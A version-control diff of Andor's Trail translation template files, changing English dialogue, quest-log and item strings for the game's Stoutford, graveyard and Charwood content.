msgid "No. Is there anythng else?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1:0
@@ -23042,7 +23037,7 @@ msgid "The Guardian stares at you. You feel a sense of dread, but you resist the
msgstr ""
#: conversationlist_graveyard1.json:cithurn_130
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgstr ""
#: conversationlist_graveyard1.json:old_clothes_1
@@ -23077,62 +23072,6 @@ msgstr ""
msgid "There is nothing left to take from the corpse."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61
msgid "South of the Duleian road, close to Fallhaven."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61:0
msgid "OK. I'll go there now."
msgstr ""
#: conversationlist_graveyard1.json:algore_99c
msgid "Hey kid! Stop waving that thing at me! If you want to talk to me, put it away first!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d
msgid "So where is it?"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:0
msgid "I dropped it somewhere."
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:1
msgid "I sold it."
msgstr ""
#: conversationlist_graveyard1.json:algore_99e
msgid "Not too bright, are you kid? Perhaps you should go and pick it up again."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f
msgid "I gave you the text you needed to get that sword. I think some of that gold should be mine. If you don't give me some then I'll take it from you."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:0
msgid "OK, OK. I guess it's fair that you should get a share. Here's 1000 gp."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:1
msgid "No way! I fought to get the sword, and the profit is mine!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99g
msgid "Thanks kid. It's good to see you have some honor."
msgstr ""
#: conversationlist_graveyard1.json:algore_special2
msgid "Thanks for the gold kid. I decided that with the money I can rebuild my life. I'm going to sober up and start trading again. I'll be leaving here soon."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i
msgid "We'll see about that."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i:0
msgid "Yes, we will!"
msgstr ""
#: conversationlist_guynmart.json:guynmart_haystack
msgid "This is a haystack."
msgstr ""
@@ -24366,7 +24305,7 @@ msgid "OK, just a second."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40
msgid "Be welcome, $playername. I am Rorthron, the world's most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgid "Be welcome, $playername. I am Rorthron, world most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40:0
@@ -24548,7 +24487,6 @@ msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_steward3_24:0
#: conversationlist_stoutford_combined.json:berbane_110:0
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90:0
msgid "But ..."
msgstr ""
@@ -26256,7 +26194,7 @@ msgid "Sorry. I haven't seen anyone that looks like you. "
msgstr ""
#: conversationlist_trader_teksin.json:teksin30
msgid "I have been out in the wild for while, and have seen nobody since I left the main road weeks ago."
msgid "I have been out in the wilds for while, and have seen nobody since I left the main road weeks ago."
msgstr ""
#: conversationlist_trader_teksin.json:teksin40
@@ -26264,7 +26202,7 @@ msgid "I decided that I should find a better route to Remgard. The road through
msgstr ""
#: conversationlist_trader_teksin.json:teksin50
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close. It's north across this lake, but there is no way to cross, or to go further east around the lake."
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close, north across this lake, but there is no way to cross, or to go further east around the lake."
msgstr ""
#: conversationlist_trader_teksin.json:teksin50:0
@@ -26325,7 +26263,7 @@ msgid "OK. Show me what you have."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100
msgid "For you, I will offer the special price of 4999 gold."
msgid "For you, I will offer the special price of 4999gp."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100:0
@@ -26359,7 +26297,7 @@ msgid "Thanks for the advice. I need to go now."
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_0
msgid "Welcome to our wonderful Inn. How can we help you?"
msgid "Welcome to Stoutford kid. "
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_1
@@ -26410,10 +26348,6 @@ msgstr ""
msgid "Why are monster attacks increasing?"
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_4:3
msgid "Thanks for the information. I have to leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:cornith_0
msgid "Hello, welcome to my shop"
msgstr ""
@@ -26474,7 +26408,7 @@ msgid ""
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_5
msgid "He told me that it is very far from here, to the northeast, beyond the river and the mountains."
msgid "He told me that it is very far from here, beyond the river and the mountains."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_6
@@ -26885,7 +26819,7 @@ msgid "Yes, I have dealt with most of the trolls. They won't dare to bother you
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4
msgid "Thank you so much! I wish you safe travels back to Stoutford. If you want to go to the glade next time you are in Remgard, just ask me for the key."
msgid "Thank you so much! If ever you want to go to the glade, just ask me for the key."
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4:0
@@ -27061,7 +26995,7 @@ msgid "Who are "they"?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_9
msgid "Our priest, Tahalendor, was convinced by my uncle, Blornvale, my father's own brother."
msgid "Our priest, Talahendor, was convinced by my uncle, Blornvale, my father's own brother."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_10
@@ -27212,7 +27146,7 @@ msgid "You are right. We need a credible witness ..."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2
msgid "Best would be Tahalendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgid "Best would be Talahendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2:0
@@ -27238,7 +27172,6 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns74_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70
msgid "Any news about the murderer?"
msgstr ""
@@ -27372,7 +27305,7 @@ msgid "That's all children's stuff"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3
msgid "What did you expect? You are a kid after all. I can't give you strong potions!"
msgid "What did you expect? You are a kid after all. I must not give strong potions to you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:0
@@ -27380,7 +27313,9 @@ msgid "You are right. Have a nice day."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:1
msgid "It is not for me of course. My father and his men are fighting in Flagstone right now. They urgently need some useful potions, not soap! I think three potions of the brave would do it, if you happen to have them. And possibly more, if it is good stuff."
msgid ""
"It is not for me of course. My father and his men are fighting in Flagstone right now. They need urgently some useful potions, not soap!\n"
"I think of three potions of the brave, if you happen to have. And more if it is good stuff."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4
@@ -27388,7 +27323,7 @@ msgid "Ah. Oh. That changes everything. Wait a second."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4:0
msgid "I'm in a hurry."
msgid "Look lively now."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_shop2
@@ -27485,6 +27420,14 @@ msgstr ""
msgid "I have heard enough. Thank you, kid. I will ensure that Blornvale never makes trouble again."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns74
msgid "You dare to come here again?"
msgstr ""
@@ -27630,7 +27573,6 @@ msgid "The path to Blackwater mountain was cut off by a rock fall. That stopped
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_2:0
#: conversationlist_stoutford_combined.json:odirath_1_4:3
msgid "How do I get to Blackwater mountain?"
msgstr ""
@@ -27650,10 +27592,6 @@ msgstr ""
msgid "Thanks. What about the monsters?"
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_3:2
msgid "Thanks for the information. Please show me what you have to trade."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_4
msgid "They started attacking the town recently. Nobody is sure why. Their attacks have been unsuccessful, so we are all hoping that they will give up soon and go back to wherever they came from."
msgstr ""
@@ -27667,7 +27605,7 @@ msgid "Thanks. I'm looking for my brother, Andor. Has anyone new been through he
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2
msgid "Yes, indeed. My daughter has not come home for some days. I don't know what's happened to her."
msgid "Yes, indeed. My daughter has not come home for some days. I do not know what's wrong with her."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2:0
@@ -27802,11 +27740,6 @@ msgstr ""
msgid "And bonemeal is forbidden."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4:2
#: conversationlist_stoutford_combined.json:yolgen_4a:1
msgid "I will clear the castle of undead for you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4a
msgid "Yes, incredible! Although kids like you should not play with such things."
msgstr ""
@@ -27847,10 +27780,6 @@ msgstr ""
msgid "That dreadful place has been left abandoned ever since. Recently, however, undead have started pouring out of the prison, and we had to send guards to keep them away from the road. "
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:0
msgid "I took care of that"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:1
msgid "Can I help you with Flagstone?"
msgstr ""
@@ -27887,11 +27816,6 @@ msgstr ""
msgid "That sounds dreadful. Can I help you with the castle?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_1
msgid "Well, you already were of great help. Thank you again!"
msgstr ""
@@ -27916,10 +27840,6 @@ msgstr ""
msgid "OK. I will go to the prison."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_1:1
msgid "I cleared flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_2
msgid "Can you clear the castle?"
msgstr ""
@@ -27941,10 +27861,14 @@ msgid "If you could help with Flagstone, it would take a big burden off us."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:0
msgid "I have been inside Flagstone, but I will go back and find out more."
msgid "I already took care of Flagstone. I cleared it of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:1
msgid "I have been inside Flagstone, but I will go back and find out more."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
msgid "OK, I will take a look."
msgstr ""
@@ -27961,11 +27885,7 @@ msgid "Thank you kindly. Shadow be with you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4
msgid "Yes, thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4:1
msgid "Where do you think they came from?"
msgid "Thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_reinforcements_2
@@ -28061,7 +27981,7 @@ msgid "What would I gain from that?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:1
msgid "You are very rude and poorly educated. Maybe I should introduce myself? $playername is my name."
msgid "You are very rude and poorly educated. May I should introduce myself? $playername is my name."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:2
@@ -28151,7 +28071,7 @@ msgid "Well, it was a tough fight, but I managed to slay Lord Erwyn himself."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2:1
msgid "The undead are no match for me."
msgid "Undeads are no match for me."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2a
@@ -28187,7 +28107,7 @@ msgid "Yolgen puts the ring on his altar and chants a spell. Suddenly the altar
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6
msgid "That is it. The ring is destroyed. I wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgid "That is it. The ring is destroyed. I just wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6:0
@@ -28510,7 +28430,7 @@ msgid "Hi kid. It is nice and warm here next to the fire. Come and make yourself
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp1_10:0
msgid "Ah, no thank you. I have more interesting things to do."
msgid "Ah, no thank you. I have more interesting things to do now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_10
@@ -28522,7 +28442,7 @@ msgid "No. We're on a military exercise right now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30
msgid "We saw another horde of undead approach the castle just as we left. We hurried here, so that we can complete our exercise and be back in time to be able to help."
msgid "We just saw another horde of undead approach the castle when we left. We hurried to this place, so that we can be back in time to be able to help."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30:0
@@ -28542,7 +28462,7 @@ msgid "I had better leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_40:2
msgid "I had better leave now. You do not need to hurry with your exercise. All your comrades have already been killed by the undead."
msgid "I had better leave now. And you need not hurry with your exercise. All your comrades have already been killed by the undead."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_42
@@ -29052,11 +28972,11 @@ msgid "$playername! What do you think you are doing?!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131:0
msgid "Mikhail! You are here?"
msgid "Mikhail! You here?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2
msgid "We need you back home. Andor is back since a long time ago, and we have our hands full trying to control the rat plague."
msgid "We need you at home. Andor is back since long, and we have our hands full trying to control the rat plague."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2:0
@@ -29068,7 +28988,7 @@ msgid "Come with me now. And give me back my ring."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:0
msgid "Sure, here is your ring. It was very useful in the beginning, but I don't need it anymore."
msgid "Sure, here is your ring. It was very useful in the beginning, but now I don't need it anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:1
@@ -29086,11 +29006,11 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4a
msgid ""
"[Ring taken]\n"
"Thank you, stupid boy."
"Thank you, stupid."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4b
msgid "You think you are clever? Useless kid!"
msgid "You think yourself clever? Useless kid!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_10a
@@ -29106,11 +29026,11 @@ msgid "I am impressed. You won the fight with my poser."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132:0
msgid "A Poser? What's that?"
msgid "A Poser? What's this?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a
msgid "A poser can imitate someone you have had in mind recently. Also, if you give him some object, then he can turn it into a second duplicate."
msgid "A poser could imitate someone you have in mind lately. And if you give him some object, then he turns it into a second duplicate."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a:0
@@ -29118,7 +29038,7 @@ msgid "Yes, but two Mikhails were a little bit too conspicuous."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b
msgid "A poser can imitate a person you have had in mind recently, if you don't give him anything."
msgid "A poser could imitate one person you have in mind lately, if you don't give him anything."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b:0
@@ -29310,62 +29230,6 @@ msgstr ""
msgid "Ah, I knew you did. You may pass."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70:0
msgid "Yes, but it's not good news. Tahalendor won't believe me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20
msgid "You gave me a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20:0
msgid "That will not help you. You are forced to tell the truth."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_30
msgid "I don't think so. After all, I'm a potion maker and I have an antidote for it."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_40
msgid "Ah, I see, Tahalendor is here too, fine. Tahalendor, here is a stupid little kid with too much imagination. Please take it with you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_50
msgid "Sorry Blornvale, first I have to ask you if you killed Aryfora's father, your own brother?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60
msgid "Of course not. Nobody is sadder about the loss than me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60:0
msgid "He lies. Can't you see?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_70
msgid "Here, Tahalendor, I'll give you a bottle of your favorite potion. And please take this child with you when you go."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_80
msgid "I will, sorry for disturbing you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90
msgid "And you child, go away now and tell no more fairy tales."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_92
msgid "No more words. Go now!"
msgstr ""
#: itemcategories_1.json:dagger
msgid "Dagger"
msgstr ""
@@ -31286,10 +31150,6 @@ msgstr ""
msgid "Rose"
msgstr ""
#: itemlist_guynmart.json:guynmart_rose:description
msgid "Perpetual fragrance flows around this queen of flowers."
msgstr ""
#: itemlist_guynmart.json:guynmart_flute
msgid "Lovis' Flute"
msgstr ""
@@ -31346,10 +31206,6 @@ msgstr ""
msgid "Ring of dexterity"
msgstr ""
#: itemlist_trader_teksin.json:bwm_gloves
msgid "Blackwater gloves"
msgstr ""
#: itemlist_stoutford_combined.json:ferm-garlic
msgid "Fermented garlic"
msgstr ""
@@ -31362,10 +31218,6 @@ msgstr ""
msgid "Smoked sausage"
msgstr ""
#: itemlist_stoutford_combined.json:smoked-sausage:description
msgid "It smells... smokey."
msgstr ""
#: itemlist_stoutford_combined.json:pickled-cabbage
msgid "Pickled cabbage"
msgstr ""
@@ -36366,11 +36218,11 @@ msgid "Destined for great things"
msgstr ""
#: questlist_v070_charwood.json:charwood1:10
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, has had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, have had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgstr ""
#: questlist_v070_charwood.json:charwood1:11
msgid "I heard someone mention that the mining town of Charwood heights has had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgid "I heard someone mentioning that the mining town of Charwood heights have had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgstr ""
#: questlist_v070_charwood.json:charwood1:19
@@ -36398,7 +36250,7 @@ msgid "I encountered one of the monsters that Maevalia spoke of. The monster spo
msgstr ""
#: questlist_v070_charwood.json:charwood1:41
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him from the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him of the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:42
@@ -36406,7 +36258,7 @@ msgid "I have found some skeletal remains, containing a ring with the insignia '
msgstr ""
#: questlist_v070_charwood.json:charwood1:43
msgid "I have found the armorer Fayvara, and freed her from the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgid "I have found the armorer Fayvara, and freed her of the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:44
@@ -36422,7 +36274,7 @@ msgid "She told me that both Falothen and Fayvara are anxious to see me, in the
msgstr ""
#: questlist_v070_charwood.json:charwood1:65
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one- or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgstr ""
#: questlist_v070_charwood.json:charwood1:70
@@ -36982,7 +36834,7 @@ msgid "The traveler told me that Hagale in the Wood settlement might know how to
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:35
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:40
@@ -37002,7 +36854,7 @@ msgid "I killed the undead and took the key."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:80
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:90
@@ -37013,14 +36865,6 @@ msgstr ""
msgid "Hagale tried to rob me and take the sword. He lost his wife and daughter and wasn't thinking straight. I gave him the sword without a fight."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:100
msgid "Hagale wanted some of the gold I got from selling the sword. It seemed fair to give him a share."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:105
msgid "Hagale tried to rob me of the gold I got from selling the sword. I had no choice but to kill him. "
msgstr ""
#: questlist_graveyard1.json:waterwayacave
msgid "Just the beginning"
msgstr ""
@@ -37029,10 +36873,6 @@ msgstr ""
msgid "In a lonely house east of Loneford, I met an old man named Cithurn."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:12
msgid "Cithurn told me he needs an experienced fighter to help with his problem."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:15
msgid "Cithurn told me that the surrounding forest has been under invasion by monsters for several weeks."
msgstr ""
@@ -37050,7 +36890,7 @@ msgid "Cithurn did not remember if the forest invasion began before the events i
msgstr ""
#: questlist_graveyard1.json:waterwayacave:35
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgstr ""
#: questlist_graveyard1.json:waterwayacave:40
@@ -37146,19 +36986,7 @@ msgid "Purchased potion of lightning attack"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:160
msgid "Mentioned Remgard - Teksin"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:170
msgid "Been to Remgard"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:180
msgid "Talked to Yolgen about the castle"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:190
msgid "Talked to Yolgen about Flagstone"
msgid "Mentioned Remgard"
msgstr ""
#: questlist_guynmart.json:guynmart
@@ -37884,10 +37712,6 @@ msgstr ""
msgid "Blornvale drank the potion."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:71
msgid "Tahalendor came to hear Blonvale confession."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:72
msgid "Blornvale confessed to killing Aryfora's father. Unfortunately there is no witness."
msgstr ""
@@ -37896,14 +37720,6 @@ msgstr ""
msgid "Blornvale now understands what you were trying to do. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:75
msgid "Tahalendor wouldn't believe your story. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:76
msgid "It's all your fault that Aryfora is crying now."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:80
msgid "Blornvale confessed to killing Aryfora's father in the presence of Tahalendor."
msgstr ""
@@ -38311,7 +38127,7 @@ msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:20
msgid ""
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave her hiding place.\n"
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave the hiding place.\n"
"She was looking for Lord Berbanes helmet, which he had forgotten somewhere in the castle."
msgstr ""
@@ -38328,7 +38144,7 @@ msgid "You found the helmet."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:60
msgid "Once back in Stoutford Gyra knew the way and ran to her father Odirath."
msgid "Back in Stoutford Gyra knew the way and ran to her father Odirath."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:70

File diff suppressed because it is too large Load Diff

View File

@@ -1,3 +1,19 @@
msgid ""
msgstr ""
"Project-Id-Version: Andors Trail\n"
"POT-Creation-Date: Sun Nov 10 11:14:56 CET 2013\n"
"PO-Revision-Date: \n"
"Last-Translator: Automatically generated\n"
"Language-Team: none\n"
"Language: bn_BD\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
#: [none]
msgid "translator-credits"
msgstr ""
#: actorconditions_v069.json:bless
msgid "Bless"
msgstr ""
@@ -2856,7 +2872,7 @@ msgid "Hello again. Have you found the former warden in Flagstone yet?"
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:0
msgid "I slew the former warden and found a peculiar necklace among his remains."
msgid "I slew the fomer warden and found a peculiar necklace among his remains."
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:2
@@ -4632,7 +4648,7 @@ msgstr ""
#: conversationlist_jolnor.json:jolnor_gaintrust_13:0
#: conversationlist_stoutford_combined.json:odirath_3_1:3
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:3
msgid "Maybe."
msgstr ""
@@ -5570,7 +5586,7 @@ msgstr ""
#: conversationlist_talion_2.json:talion_cured_1:1
#: conversationlist_maevalia.json:maevalia_r0:1
#: conversationlist_maevalia.json:maevalia15:0
#: conversationlist_stoutford.json:tahalendor2_10
#: conversationlist_stoutford.json:tahalendor2_0
msgid "What now?"
msgstr ""
@@ -6749,7 +6765,6 @@ msgstr ""
#: conversationlist_elwyl.json:elwyl_8:1
#: conversationlist_lodar.json:lodar_5:0
#: conversationlist_stoutford.json:soutford_gateguard_what_1:0
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford.json:yolgen_rumblings10_5:1
msgid "Is there anything I can do to help?"
msgstr ""
@@ -9390,7 +9405,7 @@ msgid "I talked to Benbyr and heard the story about you two."
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1
msgid "Hello there. You wouldn't happen to want to help an old shepherd would you?"
msgid "Hello there. You wouldn't happen to want to help an old shepherd do you?"
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1:0
@@ -9547,7 +9562,7 @@ msgid "Depends on what I get in return."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_2:2
msgid "I try to help people wherever they might need help."
msgid "I try to help people where ever they might need help."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_3_1
@@ -9585,7 +9600,7 @@ msgid "A while ago, I did some business with a certain man called Tinlyn, over h
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_5
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that was mutually beneficial and the guards did not know about it."
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that it was mutually beneficial that the guards did not know about it."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_6
@@ -21493,7 +21508,6 @@ msgid "I have a feeling that we'll meet there, wherever that is."
msgstr ""
#: conversationlist_halvor_surprise.json:halvor_mlake_leaving:2
#: conversationlist_graveyard1.json:algore_special2:0
msgid "Good luck!"
msgstr ""
@@ -21778,6 +21792,12 @@ msgstr ""
msgid "I cleared Flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0
msgid "Walk in the shadow kid. I have to apologize for my master, Tahalendor."
msgstr ""
@@ -21790,12 +21810,6 @@ msgstr ""
msgid "Can you explain?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0:2
#: conversationlist_stoutford.json:yolgen_rumblings20_0:1
#: conversationlist_stoutford.json:yolgen_rumblings50_0:2
msgid "Let us talk about something different."
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_1
msgid "My master is wise and old, but his sight is not as sharp as it once was. He took you for someone else."
msgstr ""
@@ -22285,10 +22299,6 @@ msgstr ""
